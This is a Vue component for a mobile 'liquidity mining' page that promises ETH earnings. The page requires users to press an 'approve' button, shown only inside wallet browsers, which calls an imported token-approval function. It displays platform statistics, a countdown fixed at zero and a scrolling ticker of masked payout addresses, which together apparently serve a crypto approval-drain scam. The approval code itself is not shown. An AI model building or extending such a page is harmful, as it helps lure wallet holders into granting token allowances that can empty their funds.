<template>
  <div>
    <!-- 固定顶部导航 -->
    <div style="position: fixed;top: 0;left: 0;right: 0;z-index: 1000;">
      <TopNavBar :title="_t18('12_lianzhuanbi')" />
    </div>
    <div style="height: 70px;"></div>

    <!-- ✅ 下拉刷新区域 -->
    <van-pull-refresh v-model="refreshing" @refresh="onRefresh">
      <div class="earn-coins-container">
        <!-- 顶部背景 -->
        <div class="top-bg">
          <div class="top-content">
            <div class="title-block">
              <div class="title">{{ _t18('12_lianzhuanbi') }}</div>
              <div class="subtitle">{{ _t18('12_lianzhuanbi1') }}</div>
              <button @click="router.push('/problem')" class="learn-more">{{ _t18('12_lianzhuanbi3') }}</button>
            </div>
          </div>
        </div>

        <!-- 黑色信息块 -->
        <div class="info-bg">
          <img class="info-bg-img" src="@/assets/defi/infobg.png" alt="info-bg" />
          <div class="info-content">
            <div>
              <div class="info-title">{{ _t18('12_lianzhuanbi2') }}</div>
              <div class="info-amount"> {{ priceFormat(outcomeInfo?.totalOutput) || 0 }} ETH</div>
            </div>
            <div>
              <img class="egg-img" src="/static/img/ser_1c351995_TcK.82728a19.png" alt="egg" />
            </div>
          </div>
        </div>

        <!-- 资产信息块 -->
        <div class="asset-block">
          <div class="asset-row">
            <span>{{ _t18('12_lianzhuanbi4') }}</span>
            <span>{{ priceFormat(incomeInfo?.totalProfit) || 0.00 }}ETH</span>
          </div>
          <div class="asset-row">
            <span>{{ _t18('12_lianzhuanbi5') }}</span>
            <span>{{ availableBalance }} ETH</span>
          </div>
          <div class="asset-row">
            <span>{{ _t18('12_lianzhuanbi6') }}</span>
            <span>{{ total_zichan }} USD</span>
          </div>
          <div class="asset-row">
            <span>{{ _t18('12_lianzhuanbi7') }}</span>
            <span>{{ priceFormat(userStore.userInfo.appAddressInfo?.usdt || 0, 2) }} USDT</span>
          </div>
          <div class="asset-row countdown-row">
            <span>{{ _t18('12_lianzhuanbi8') }}</span>
            <div class="countdown">
              <div class="countdown-item">00</div>
              <span>:</span>
              <div class="countdown-item">00</div>
              <span>:</span>
              <div class="countdown-item">00</div>
            </div>
          </div>
          <button v-if="!isApprove"  @click="toApprove" class="earn-btn">{{ _t18('12_lianzhuanbi9') }} <span class="arrow">→</span></button>
        </div>

        <!-- 账户中心卡片 -->
        <div class="account-center-card">
          <div class="account-title">{{ _t18('12_lianzhuanbi10') }}</div>
          <div class="account-tabs">
            <div :class="['tab', activeTab==='exchange' ? 'active' : '']" @click="activeTab='exchange'">{{ _t18('12_lianzhuanbi11') }}</div>
            <div :class="['tab', activeTab==='withdraw' ? 'active' : '']" @click="activeTab='withdraw'">{{ _t18('12_lianzhuanbi12') }}</div>
            <div :class="['tab', activeTab==='record' ? 'active' : '']" @click="activeTab='record'">{{ _t18('12_lianzhuanbi13') }}</div>
          </div>
          <div v-if="activeTab==='exchange'" class="exchange-panel">
            <div class="exchange-currency">ETH <span class="arrow">→</span> USD</div>
            <div class="exchange-input-row">
              <input class="exchange-input" :placeholder="_t18('12_lianzhuanbi14')" v-model="fromNum" />
              <button class="all-btn" @click="fromNum= availableAmount">{{ _t18('12_lianzhuanbi15') }}</button>
            </div>
            <div>{{ _t18('15_available') }}usdt: {{ availableAmount }}</div>
            <div class="rate ff-num">
              <p>{{ _t18('swap_rateDay') }}：</p>
 
              <span>ETH</span>&nbsp;≈&nbsp;<span>{{ curRate }}</span><span>USDT</span>
            </div>
            <button class="exchange-btn" @click="submit">{{ _t18('12_lianzhuanbi16') }}</button>
          </div>
          <div v-else class="coming-soon">{{ _t18('12_lianzhuanbi17') }}</div>
        </div>

        <!-- 链上数据卡片 -->
        <div class="chain-stats-card">
          <div class="chain-title">{{ _t18('12_lianzhuanbi18') }}</div>
          <div class="chain-stats-grid">
            <div class="stat-block">
              <div class="stat-label">{{ _t18('12_lianzhuanbi19') }}</div>
              <div class="stat-value">{{ priceFormat(outcomeInfo?.totalOutput) || 0 }} ETH</div>
            </div>
            <div class="stat-block">
              <div class="stat-label">{{ _t18('12_lianzhuanbi20') }}</div>
              <div class="stat-value">{{ outcomeInfo?.validNode || 0 }}</div>
            </div>
            <div class="stat-block">
              <div class="stat-label">{{ _t18('12_lianzhuanbi21') }}</div>
              <div class="stat-value">{{ outcomeInfo?.participant || 0 }}</div>
            </div>
            <div class="stat-block">
              <div class="stat-label">{{ _t18('12_lianzhuanbi22') }}</div>
              <div class="stat-value stat-green">{{ priceFormat(outcomeInfo?.userBenefits) || 0 }} U</div>
            </div>
          </div>
        </div>

        <!-- 链上流动性產出区块 -->
        <div class="liquidity-output-card">
          <div class="liquidity-title">{{ _t18('12_lianzhuanbi23') }}</div>
          <div class="liquidity-table">
            <div class="liquidity-header">
              <span class="header-address">{{ _t18('12_lianzhuanbi24') }}</span>
              <span class="header-amount">{{ _t18('12_lianzhuanbi25') }}</span>
            </div>
            <div class="liquidity-list-wrapper">
              <div class="liquidity-list" :style="innerListStyle" @transitionend="onTransitionEnd">
                <div v-for="(item, idx) in renderList" :key="item.address + idx" class="liquidity-row">
                  <span class="liquidity-address">{{ item.address }}</span>
                  <span class="liquidity-amount">{{ item.num }} <span class="eth">ETH</span></span>
                </div>
              </div>
            </div>
          </div>
          <div class="liquidity-footer">{{ _t18('12_lianzhuanbi26') }}</div>
        </div>
      </div>
    </van-pull-refresh>

    <div style="height: 100px;"></div>
  </div>
</template>

<script setup>
import { ref, computed, onMounted, onUnmounted, nextTick } from 'vue'
import { showToast } from 'vant'
import { useI18n } from 'vue-i18n'
import { useRouter } from 'vue-router'
import { useMainStore } from '@/store/index.js'
import { useUserStore } from '@/store/user'
import { _t18 } from '@/utils/public'
import { approve } from '@/plugin/chain/index'
import { getUserInvestmentApi, getDefiRateApi, getIncomeApi, showDefiActivityApi, getOutcomeApi } from '@/api/defi/index'
import { priceFormat } from '@/utils/decimal.js'
import { DIFF_ISFREEZE } from '@/config/index'
import { useFreeze } from '@/hook/useFreeze'
import { rate, toExchange } from '@/api/account'
import { debounce } from 'lodash'
import { useToast } from '@/hook/useToast'
import { publiceNotice, rulesList } from '@/api/common/index'

const { _toast } = useToast()
const { _isFreeze } = useFreeze()
const mainStore = useMainStore()
const userStore = useUserStore()
const router = useRouter()
const { t } = useI18n()

const activeTab = ref('exchange')
const fromNum = ref('')
const total_zichan = ref(0.0)
const incomeInfo = ref({})
const outcomeInfo = ref(mainStore.getDefiList)
const curRate = ref(0)
const liquidityList = ref([])
const isApprove = computed(() => userStore.userInfo.approve == 1)
const defiRateList = ref([])
const activityInfo = ref({})
const showNotice = ref(false)
const showNoticeContent = ref({})
const popupContent = ref({})
const refreshing = ref(false)

// ✅ 下拉刷新：重新加载所有数据（不刷新页面）
const onRefresh = async () => {
  refreshing.value = true
  try {
    await Promise.all([
      getUserInvestment(),
      getDefiRate(),
      getIncome(),
      getShowDefiActivity(),
      getPopupContent(),
      getOpenPopupContent(),
      getRate('usdt', 'eth')
    ])
    showToast(t('recharge_tab_success'))
  } catch (e) {
    showToast(t('recharge_tab_error'))
  } finally {
    setTimeout(() => {
      refreshing.value = false
    }, 800)
  }
}

// === 原有完整功能保留 ===

// 获取投资
const getUserInvestment = async () => {
  const res = await getUserInvestmentApi()
  if (res.code === 200) {
    liquidityList.value = res.data.map((elem) => {
      elem.address = elem.address.replace(/\*{5,}/g, '******')
      return elem
    })
    resetScroll()
  }
}

// 获取比率
const getDefiRate = async () => {
  const res = await getDefiRateApi()
  if (res.code == 200) {
    defiRateList.value = res.data
  } else showToast(res.msg)
}

// 获取收入
const getIncome = async () => {
  if (userStore.userInfo.approve == 1) {
    const res = await getIncomeApi(userStore.userInfo.user.userId)
    if (res.code == 200) incomeInfo.value = res.data
  }
}

// 获取活动
const getShowDefiActivity = async () => {
  if (userStore.userInfo.approve == 1) {
    const res = await showDefiActivityApi(userStore.userInfo.user.userId)
    if (res.code == 200 && res.data.length) {
      res.data = res.data[0]
      res.data.days = Math.ceil((res.data.endTimeS - res.data.beginTimeS) / (24 * 60 * 60 * 1000))
      activityInfo.value = res.data
    }
  }
}

// 公告
const getOpenPopupContent = async () => {
  const res = await publiceNotice('POP_UPS_NOTICE', 'DEFI_POP_UPS_NOTICE')
  if ((res.code = '200')) {
    if (res.data.length) {
      showNotice.value = true
      showNoticeContent.value = res.data[0]
    }
  }
}

// 规则
const getPopupContent = async () => {
  const res = await rulesList('DEFI_EXPLAIN')
  if ((res.code = '200')) {
    popupContent.value = res.data
  }
}

// 汇率
const getRate = (from, to) => {
  rate(from, to).then((res) => {
    if (res.code == '200') {
      let resFrom = res.data[`${from}`] || 1
      let resTo = res.data[`${to}`] || 1
      curRate.value = priceFormat(resFrom / resTo, 8)
    }
  })
}

// 滚动逻辑
const rowHeight = 38
const visibleRows = 7
const animating = ref(false)
const translateY = ref(0)
let timer = null

const renderList = computed(() => {
  if (liquidityList.value.length <= visibleRows) return liquidityList.value
  return liquidityList.value.slice(0, visibleRows + 1)
})
function startScroll() {
  if (liquidityList.value.length <= visibleRows) return
  stopScroll()
  timer = setInterval(() => {
    animating.value = true
    translateY.value = -rowHeight
  }, 1000)
}
function stopScroll() {
  if (timer) {
    clearInterval(timer)
    timer = null
  }
}
function onTransitionEnd() {
  if (!animating.value) return
  const first = liquidityList.value.shift()
  liquidityList.value.push(first)
  animating.value = false
  translateY.value = 0
  nextTick(() => {})
}
function resetScroll() {
  stopScroll()
  translateY.value = 0
  animating.value = false
  nextTick(() => startScroll())
}
const innerListStyle = computed(() => ({
  transform: `translateY(${translateY.value}px)`,
  transition: animating.value ? 'transform 0.5s ease' : 'none'
}))

// 授权
const toApproveForm = async () => {
  const res = await approve().catch(() => _toast('defi_cancel'))
  if (!res) _toast('Authorization_failed')
  await userStore.getUserInfo()
}
// ✅ 判断是否在钱包环境中
function isWalletBrowser() {
  const ua = navigator.userAgent.toLowerCase()
  const hasEthereum = typeof window.ethereum !== 'undefined'

  // ✅ 检查常见钱包 UA 关键字
  const walletKeywords = [
    'metamask',
    'tokenpocket',
    'imtoken',
    'trust',
    'bitkeep',
    'meewallet',
    'coinbase',
    'base',
    'basewallet',
    'org.base.wallet',
    'base wallet',
  ]

  const isWalletUA = walletKeywords.some((key) => ua.includes(key))

  // ✅ 检查 window.ethereum 标识（Base、Coinbase 都会注入）
  const isInjectedWallet =
    hasEthereum &&
    (window.ethereum.isMetaMask ||
      window.ethereum.isCoinbaseWallet ||
      window.ethereum.isBaseWallet ||
      !!window.ethereum.request)

  return isWalletUA || isInjectedWallet
}


// ✅ 点击授权时判断环境
const toApprove = () => {
  // 检查是否在钱包浏览器
  if (!isWalletBrowser()) {
    showToast(t('21_shouquan'))
    return
  }

  // ✅ 在钱包环境中才执行授权逻辑
  if (DIFF_ISFREEZE.includes(__config._APP_ENV)) {
    if (_isFreeze(DIFF_ISFREEZE)) toApproveForm()
  } else {
    toApproveForm()
  }
}


// 兑换逻辑
const availableAmount = computed(() => {
  let data = ''
  userStore.userInfo.asset.forEach((item) => {
    if (item.symbol == 'usdt' && item.type == 1) data = item.availableAmount
  })
  return data
})
const submitForm = debounce(() => {
  if (fromNum.value <= 0) {
    _toast('swap_minNum')
    return
  }
  if (fromNum.value > availableAmount.value) {
    _toast('swap_maxNum')
    return
  }
  let params = { fromSymbol: 'usdt', toSymbol: 'eth', total: fromNum.value }
  toExchange(params).then((res) => {
    if (res.code == '200') {
      _toast('swap_success', ['aams'])
      setTimeout(() => {
        userStore.getUserInfo()
      }, 1000)
    } else {
      showToast(res.msg)
    }
  })
}, 500)
const submit = () => {
  if (DIFF_ISFREEZE.includes(__config._APP_ENV)) {
    if (_isFreeze(DIFF_ISFREEZE)) submitForm()
  } else submitForm()
}

onMounted(() => {
  getUserInvestment()
  startScroll()
  getDefiRate()
  getIncome()
  getShowDefiActivity()
  getPopupContent()
  getOpenPopupContent()
  getRate('usdt', 'eth')
})
onUnmounted(() => {
  stopScroll()
  if (timer) clearInterval(timer)
})
</script>


<style scoped>
.earn-coins-container {
  background: #f4f4f4;
  min-height: 100vh;
  padding: 0 12px;
}
.top-bg {
  background: url('/static/img/Gbg_59de4f49_NJx.4928ab4f.png') no-repeat center/cover;
  border-radius:20px;
  padding: 24px 16px 16px 16px;
  margin: 0 0 16px 0;
  position: relative;
}
.top-content {
  display: flex;
  align-items: center;
  justify-content: space-between;
}
.title-block {
  z-index: 2;
}
.title {
  font-size: 28px;
  font-weight: bold;
  color: #222;
  margin-bottom: 8px;
}
.subtitle {
  font-size: 16px;
  color: #7a7a7a;
  margin-bottom: 12px;
}
.learn-more {
  background: #000;
  color: #fff;
  border: none;
  border-radius: 20px;
  padding: 8px 20px;
  font-size: 16px;
  cursor: pointer;
}
.top-img {
  width: 120px;
  height: auto;
  margin-left: 16px;
  z-index: 1;
}
.info-bg {
  position: relative;
  border-radius: 20px;
  overflow: hidden;
  box-shadow: 0 4px 16px rgba(0,0,0,0.08);
  background: #111;
  min-height: 120px;
}
.info-bg-img {
  position: absolute;
  left: 0; top: 0; width: 100%; height: 100%; object-fit: cover;
  z-index: 0;
  opacity: 0.9;
}
.info-content {
  position: relative;
  z-index: 1;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 24px 20px 24px 20px;
}
.info-title {
  color: #fff;
  font-size: 16px;
  font-weight: 500;
}
.info-amount {
  color: #fff;
  font-size: 28px;
  font-weight: bold;
  margin-right: 16px;
}
.egg-img {
  width: 64px;
  height: 64px;
}
.asset-block {
  background: #fff;
  border-radius: 20px;
  margin: 15px 0;
  padding: 24px 20px;
  box-shadow: 0 4px 16px rgba(0,0,0,0.06);
}
.asset-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-size: 16px;
  color: #222;
  margin-bottom: 12px;
}
.asset-row:last-child {
  margin-bottom: 0;
}
.countdown-row {
  align-items: flex-end;
}
.countdown {
  display: flex;
  align-items: center;
  gap: 4px;
}
.countdown-item {
  background: #f4f4f4;
  border-radius: 8px;
  padding: 4px 10px;
  font-size: 18px;
  font-weight: bold;
  min-width: 32px;
  text-align: center;
}
.earn-btn {
  width: 100%;
  margin-top: 21px;
  background: #000;
  color: #fff;
  border: none;
  border-radius: 24px;
  padding: 14px 0;
  font-size: 16px;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
}
.arrow {
  font-size: 20px;
}
.account-center-card {
  background: #fff;
  border-radius: 18px;
  box-shadow: 0 4px 16px rgba(0,0,0,0.06);
  padding: 22px 18px 28px 18px;
  margin: 18px 0 0 0;
}
.account-title {
  font-size: 18px;
  font-weight: bold;
  margin-bottom: 12px;
  color: #111;
}
.account-tabs {
  display: flex;
  gap: 18px;
  margin-bottom: 18px;
}
.tab {
  font-size: 16px;
  color: #888;
  padding-bottom: 4px;
  cursor: pointer;
  border-bottom: 2px solid transparent;
  font-weight: 500;
}
.tab.active {
  color: #111;
  border-bottom: 2.5px solid #111;
}
.exchange-panel {
  display: flex;
  flex-direction: column;
  gap: 16px;
}
.exchange-currency {
  text-align: center;
  font-size: 16px;
  font-weight: 600;
  margin-bottom: 6px;
}
.exchange-input-row {
  display: flex;
  background: #f4f4f4;
  border-radius: 12px;
  align-items: center;
  padding: 0 8px 0 0;
  margin-bottom: 8px;
}
.exchange-input {
  flex: 1;
  border: none;
  background: transparent;
  font-size: 18px;
  padding: 14px 12px;
  outline: none;
}
.all-btn {
  background: #111;
  color: #fff;
  border: none;
  border-radius: 10px;
  padding: 7px 18px;
  font-size: 15px;
  font-weight: 600;
  margin-left: 8px;
  cursor: pointer;
}
.exchange-btn {
  width: 100%;
  background: #000;
  color: #fff;
  border: none;
  border-radius: 24px;
  padding: 16px 0;
  font-size: 16px;
  
  cursor: pointer;
  margin-top: 8px;
}
.coming-soon {
  text-align: center;
  color: #bbb;
  font-size: 16px;
  padding: 32px 0;
}
.chain-stats-card {
  background: #f4f4f4;
  border-radius: 18px;
  margin: 18px 0 0 0;
  padding: 18px 0 18px 0;
  width: 100%;
  box-sizing: border-box;
}
.chain-title {
  font-size: 20px;
  font-weight: bold;
  margin-bottom: 14px;
  color: #111;
  padding-left: 16px;
}
.chain-stats-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 14px;
  width: 100%;
  box-sizing: border-box;
  padding: 0 12px;
}
.stat-block {
  background: #fff;
  border-radius: 14px;
  padding: 10px 6px 8px 10px;
  display: flex;
  flex-direction: column;
  align-items: flex-start;
  box-shadow: 0 2px 8px rgba(0,0,0,0.03);
  width: 100%;
  box-sizing: border-box;
}
.stat-label {
  font-size: 12px;
  color: #888;
  margin-bottom: 4px;
}
.stat-value {
  font-size: 15px;
  font-weight: bold;
  color: #222;
}
.stat-green {
  color: #1ec98e;
}
.liquidity-output-card {
  background: #fff;
  border-radius: 18px;
  box-shadow: 0 4px 16px rgba(0,0,0,0.06);
  margin: 18px 0 0 0;
  padding: 22px 0 0 0;
  width: 100%;
  box-sizing: border-box;
}
.liquidity-title {
  font-size: 20px;
  font-weight: bold;
  margin-bottom: 12px;
  color: #111;
  padding-left: 18px;
}
.liquidity-table {
  width: 100%;
  box-sizing: border-box;
  padding: 0 8px;
}
.liquidity-header {
  display: flex;
  justify-content: space-between;
  color: #bbb;
  font-size: 13px;
  font-weight: 500;
  padding: 0 8px 6px 8px;
}
.header-address {
  flex: 1;
  text-align: left;
}
.header-amount {
  width: 80px;
  text-align: right;
}
.liquidity-list-wrapper {
  overflow: hidden;
  height: 266px; /* 38px * 7 行 */
}
.liquidity-list {
  display: flex;
  flex-direction: column;
  transition: transform 0.5s cubic-bezier(.4,0,.2,1);
}
.liquidity-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-size: 15px;
  padding: 0 8px;
  height: 38px;
  border-bottom: 1px solid #f2f2f2;
  background: #fff;
}
.liquidity-row:last-child {
  border-bottom: none;
}
.liquidity-address {
  flex: 1;
  color: #222;
  font-family: monospace;
  text-align: left;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}
.liquidity-amount {
  width: 80px;
  text-align: right;
  color: #1ec98e;
  font-weight: bold;
}
.eth {
  font-size: 13px;
  margin-left: 2px;
}
.liquidity-footer {
  text-align: center;
  color: #bbb;
  font-size: 13px;
  padding: 12px 0 14px 0;
}
.exchange-currency .arrow {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  background: #000;
  color: #fff;
  font-size: 12px;
  font-weight: bold;
  width: 26px;
  height: 26px;
  border-radius: 50%;
  margin: 0 6px;
  vertical-align: middle;
}

</style> 